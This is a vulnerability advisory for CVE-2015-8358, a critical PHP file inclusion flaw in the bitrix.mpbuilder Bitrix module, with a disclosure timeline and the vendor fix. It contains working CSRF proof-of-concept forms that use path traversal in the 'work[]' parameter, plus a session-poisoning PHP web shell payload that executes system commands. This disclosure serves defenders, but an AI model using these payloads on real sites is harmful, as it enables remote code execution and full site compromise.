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PHP File Inclusion in bitrix.mpbuilder Bitrix Module

Advisory ID:HTB23281
Product:bitrix.mpbuilder Bitrix module
Vendor:www.1c-bitrix.ru
Vulnerable Versions:1.0.10 and probably prior
Tested Version:1.0.10
Advisory Publication:November 18, 2015 [without technical details]
Vendor Notification:November 18, 2015
Vendor Fix:November 25, 2015
Public Disclosure:December 9, 2015
Latest Update:December 1, 2015
Vulnerability Type:PHP File Inclusion [CWE-98]
CVE Reference:CVE-2015-8358
Risk Level:Critical
CVSSv3 Base Score:9.6 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H]
CVSSv3 Calculator
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in bitrix.mpbuilder Bitrix module, which can be exploited to include and execute arbitrary PHP file on the target system with privileges of the web server. The attacker will be able to execute arbitrary system commands and gain complete control over the website.

Access to vulnerable modules requires administrative privileges, however the vulnerability can be used by anonymous users via CSRF vector.

The vulnerability exists due to insufficient filtration of "work[]" HTTP POST parameter in "/bitrix/admin/bitrix.mpbuilder_step2.php" script before using it in the include() PHP function. A remote attacker can include and execute arbitrary local file on the target system.

A simple exploit below will include and execute "/tmp/file" file:
<form action="http://[host]/bitrix/admin/bitrix.mpbuilder_step2.php?module_id=blog " method="post" name="main">
<input type="hidden" name="save" value="1">
<input type="hidden" name="work[/../../../../../../../../../../../../../../../../../../tmp/file]" value="1">
<input value="submit" id="btn" type="submit" />
</form>


In a real-world scenario an attacker can use session files to execute arbitrary PHP code. For example, an attacker can change name in his profile to <? exec($_POST['cmd']); ?> and create a CSRF exploit that will pass arbitrary commands and execute them on the system. The PoC code below executes /bin/ls command using previously created session file with malicious "NAME" value:

<form action="http://[host]/bitrix/admin/bitrix.mpbuilder_step2.php?module_id=blog " method="post" name="main">
<input type="hidden" name="save" value="1">
<input type="hidden" name="work[/../../../../../../../../../../../../../../../../../../tmp/sess_[ SESSION_ID]]" value="1">
<input type="hidden" name="cmd" value="ls">
<input value="submit" id="btn" type="submit" />
</form>

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Solution:
Update to bitrix.mpbuilder module 1.0.12


References:
[1] High-Tech Bridge Advisory HTB23281 - https://www.immuniweb.com/advisory/HTB23281 - PHP File Inclusion in bitrix.mpbuilder Bitrix module
[2] bitrix.mpbuilder - https://marketplace.1c-bitrix.ru/solutions/bitrix.mpbuilder/ - Bitrix module for software developers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
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